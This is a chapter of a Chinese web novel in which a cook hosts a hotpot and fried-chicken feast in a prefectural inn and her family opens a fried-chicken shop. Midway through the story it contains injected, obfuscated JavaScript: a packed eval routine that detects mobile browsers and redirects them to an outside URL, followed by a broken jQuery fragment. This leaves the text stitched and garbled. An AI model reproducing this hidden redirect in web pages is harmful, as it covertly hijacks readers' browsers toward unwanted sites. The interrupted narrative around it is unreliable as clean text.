60.炸鸡店开业
作品:《残疾王爷的极品美厨娘》 “那是辣椒。”孟娇招呼他们把东西都端出去。
大堂里原本稀稀拉拉坐着几桌客人,此刻全停了筷子,抻着脖子朝厨房方向张望。柜台后的掌柜吸了吸鼻子,喉结上下滚动,手里算盘珠子拨错了两颗还未觉察。
文瑾带着手下将两张大桌拼在一起,桌上摆得满满当当,所有人眼睛直勾勾盯着桌上那口铜锅,还有一旁堆成小山的炸鸡。
“最近几日有劳诸位了,我做了些家常菜让大家一起尝尝。”孟娇指了指凳子,自己也跟着坐下,还给每个人斟了碗空间里常备的小吊梨汤。“坐啊,都别拘着。”
几个人你看看我,我看看你,谁都没动。他们平时纪律严明,从不曾和主子同桌而食。
文瑾看了眼孟娇,见她神色自然,便对下属点点头:“坐吧,今日姑娘请客,不必拘礼。”
七人这才依次落座,腰杆依旧挺得笔直,手放在膝上,眼神却忍不住往锅里瞟。
铜锅坐在小泥炉上,火锅里的汤再次滚开,红油翻腾,辣椒花椒在汤面上起伏,辛辣霸道的香气无差别攻略每个人的馋虫。
孟娇执箸,先夹了一片羊肉,在锅里涮了涮,肉片薄而均匀,在沸汤中蜷缩变色,不过七八息便捞起,蘸满自己调的秘制蘸料,蒜泥、香葱、香油、麻酱、沙茶酱……
送入口中,羊肉的鲜美、红油的麻辣、蘸料的咸鲜在舌尖炸开,味道层次丰富,好吃得让人想哭。
她满意地点点头,见众人都愣着,催促道:“吃啊,别光看着。”
又将一盘午餐肉推入锅中:“吃火锅没它,感觉白吃。一会儿一人只有两块啊,多了没有。”孟娇空间里的存货也不多了,现在还没空自己做,暂时只能省着点。
邻桌一个穿着罗衣的中年男人终于忍不住了,起身走过来,拱手笑问:“这位姑娘,敢问这锅里煮的是何物?香气实在勾人。”
孟娇抬头,见这人面白微胖,手上戴着枚翠玉扳指,说话带着府城口音,应该是个有些头脸的。
“火锅。”孟娇回答简短,又忙夹起片毛肚涮上,巴掌大的薄片,在汤里七上八下便熟,入口爽脆。
这毛肚也是她空间里现成的,在家怕傅胜年起疑,不敢造次。如今在府城她可不带怕的,艾玛,穿来的这些日子,都快馋死她了。嗷呜一口,孟娇没嚼几下就吞入腹中。
那中年男人眼睛更亮了:“火锅?这名字贴切!不知姑娘可否割爱,让在下也尝上一尝?价钱好说!”
文瑾皱眉,正要开口,孟娇却摆了摆手:“这位先生若不嫌弃,添双筷子的事儿。”
男人大喜,立刻招呼伙计加座,又朝孟娇拱手:“鄙人姓沈,在府城做些茶叶生意。今日闻味而来,唐突之处,还望姑娘海涵。”
孟娇点头示意,没多说,继续涮肉。看来最近她和姓沈的有缘,是得抽空去保和堂看看了。
沈老板迫不及待夹了片腊肠,学着孟娇的样子在汤里涮涮,送入口中。咸香的腊肠被红汤浸润,油脂在舌尖化开,辣味后劲十足,有些麻,似有蚂蚁在他嘴唇啃咬,却忍不住又夹了一筷子。
额~孟娇阻止不及,算了,爱怎么吃就怎么吃吧。
“妙!妙啊!”沈老板又是连声赞叹,“这肉怎么做的,肥而不腻,瘦而不柴,还有股草木的烟熏味。这汤底更是绝了,麻辣鲜香,层次分明!”
他这一嚷嚷,其他客人更坐不住了。
一个穿着儒衫的老者踱步过来,捋着胡子问:“沈老板,当真如此美味?”
“陈夫子,您尝尝便知!”沈老板热络地招呼,“这位姑娘大度,不介意咱们蹭口吃的。”
孟娇不禁腹诽,这世间竟还有这样的骚操作?感情您没忘了自己也是个蹭吃的主儿,好嘛,还真是个厚脸皮的自来熟。
陈夫子矜持地坐下,先观察了片刻桌上菜品,目光在炸鸡上停留良久:“这炸物色泽金黄,外皮酥脆,是何做法?”
孟娇夹了块炸鸡给他:“您尝尝。”
“咔嚓”,陈夫子小心咬了一口。
酥脆的外皮应声碎裂,里面的鸡肉汁水丰盈,混合着秘制香料的微辣咸香在口中炸开。他眼睛猛地睁大,咀嚼速度不自觉加快,三两口吃完一块,又伸手去拿第二块。
“外酥里嫩,咸香适口,这,这简直是…”陈夫子一时词穷,“宫廷御膳也不过如此!”
大堂里彻底骚动起来。
伙计们端着菜从后厨出来,脚步不自觉停住,眼睛往孟娇那桌瞟。掌柜的干脆从柜台后走出来,搓着手赔笑:“姑娘,您这手艺…不知可否将这火锅、炸鸡的方子卖给小店?价钱一定让您满意!”
孟娇涮了片黄喉,慢条斯理道:“不卖。”
掌柜的讪讪退下,却不舍得走远,站在一旁使劲吸气,仿佛多闻闻香味也是好的。
文瑾的下属们起初还顾忌着礼仪,小口小口吃,有些拘谨,但见沈老板和陈夫子都吃得热火朝天,也渐渐放开了。
圆脸青年叫文五,他夹了片腊肠,犹豫了一下才放入口中。腊肠咸香适中,带着松木熏烤的气息,香他一嘴,他又连夹几片炫嘴里。
旁边瘦高个叫文七,他对炸鸡情有独钟,一手一块,吃得满嘴油光,还不忘嘀咕:“这比军…比咱们以前吃的烤鸡强多了!”
“确实。”另一个国字脸的文三疯狂点头,他正涮着一片毛肚,动作已经熟练到飞起,“这火锅吃法新鲜,想吃什么涮什么,热辣,痛快!”
由于辣味开胃,肉香诱人,所有人放开了手脚,筷子在锅里翻飞,腊肉、腊肠、炸鸡以肉眼可见的速度减少,蔬菜豆腐也跟着下了锅。
文瑾吃得相对克制,但速度也不慢。他尤其喜欢涮羊肉,薄切的羊肉片在红汤里一滚就熟,蘸上孟娇帮调制的酱料,鲜嫩麻辣,一口下去浑身舒坦。
他边吃边观察孟娇,她神色平静,动作从容,偶尔给旁边人示范某种食材的最佳涮法,仿佛这桌轰动了大堂的宴席,不过是家常便饭。
这才是最让文瑾心惊的,寻常人有这等手艺,早就开酒楼赚得盆满钵满了。可这位孟姑娘,似乎并不在意这些。她做这顿饭,原来真的只是为了犒劳他们,不愧是主子看上的女人!
“姑娘。”文瑾放下筷子,郑重道,“属下今日便启程去青山县,您在府城,务必小心。”
孟娇夹了片午餐肉给他,用只有俩人能听到的声音道:“路上辛苦,多吃点,到了青山县,替我给赵县令带句话——账册抄录本尽快送往京城,原件保管好……”
“是。”文瑾吃下第三块午餐肉,嘴里回味着这独特的肉香味,但又感觉不全是肉,总之是令人上瘾的味道。
文瑾扫视一圈,最后把筷子伸向文六的碗,他选择无视文六的不解、不甘、愤怒、委屈的小眼神,把文六舍不得吃的两片午餐肉全扒拉进自己碗里,这下满意了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083372|187942||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈老板也想吃,但他没有,只能干瞪眼,嘴里却是一个劲儿夸赞:“姑娘这手艺,若在府城开家酒楼,保准日进斗金!”
陈夫子也附和:“是啊,老夫吃遍府城酒楼,从未尝过这般滋味。这火锅麻辣鲜香,炸鸡外酥里嫩……不知姑娘师承何处?”
孟娇故作不好意思地笑笑:“自家瞎琢磨的。”
这话没人信,但也没人再追问。能做出这等美食的人,岂会没有来历?
一顿饭吃了近一个时辰,铜锅添了三次汤,桌上的盘子空了大半。文瑾的七个下属吃得满额冒汗,嘴唇都快成香肠嘴了,却个个意犹未尽。
沈老板和陈夫子也心满意足,临走前再三对孟娇表示,“若姑娘在府城开酒楼,我们一定捧场。”
孟娇送走二人,对文瑾道:“你们收拾一下,准备出发吧,路上小心。”
文瑾起身行礼,带着下属们离去。走到门口时,他回头深深地看了孟娇一眼。她正站在桌边,看着满桌狼藉,嘴角带着一丝极淡的笑意。
那一刻,文瑾忽然觉得,主上选择留在那个鸟不拉屎的小山村,或许并不全是迫不得已。
同一时间,云水镇。
“孟氏炸鸡”的招牌刚挂上去不到两个时辰,店门口已经排起了长队。
队伍里清一色穿着白云书院儒衫的学子,个个伸着脖子往前张望,空气中飘荡着炸鸡的香气,勾得人肚子咕咕叫。
“快点啊!前头的到底买完没有?”
“韩兄说了,开业前三天八折!今天不买亏大了!”
“听说孟姑娘的母亲亲自做的,那味道肯定差不了!”
店内,韩智羽系着围裙,手里拿着长筷,正在油锅里翻炸鸡块。油花翻腾,金黄酥脆的鸡块捞出来,沥干油,撒上特制椒盐粉,香气扑鼻。
邱侗在一旁帮忙装袋,收钱收得手软,脸上笑开了花:“韩兄,咱们这生意,成了!”
“那当然。”谷道轩得意道,“孟姑娘的手艺,谁能抵挡?”
柜台后,姚氏和桂花婶子正指导两个新招的伙计如何裹粉、如何控制油温。姚氏嘴上说着,眼睛却不时瞟向门外街对面。
那里,傅胜年坐在轮椅上,脸色阴沉得像要下雨。
两小只原本被他安置在轮椅旁,可炸鸡一出锅,大宝二丫就被香气勾走了魂。韩智羽机灵,立刻切了两小块炸鸡递过去,两个孩子吃得满嘴喷香,这会儿正趴在柜台边,眼巴巴等着下一锅。
傅胜年喊了他们两声,俩孩子回头冲他咧嘴笑,脚下却不动。
“姐夫叔叔,炸鸡好吃!”大宝含糊不清地说。
“哥哥,你也来吃呀!”二丫举着半块炸鸡朝他晃。
傅胜年嘴角抽了抽,他来吃?让他去有韩智羽的店里吃?做梦!
更可气的是,姚氏和桂花婶子这两天都是坐韩智羽安排的马车来的。那小子殷勤得很,车接车送,还特意铺了软垫,备了热茶。
姚氏起初百般推辞,说坐自家驴车就好。可韩智羽一句“婶子辛苦指教,哪能让您再受累”,就把她堵了回去。
傅胜年看得出来,姚氏其实挺喜欢那马车,坐着稳当,又快。可她每次上车前都要偷偷看他脸色,生怕他不高兴。
他有什么可不高兴的?不就是韩智羽那小子献殷勤吗?不就是岳母坐了他安排的马车吗?不就是两小只也被几块破炸鸡给收买了吗?

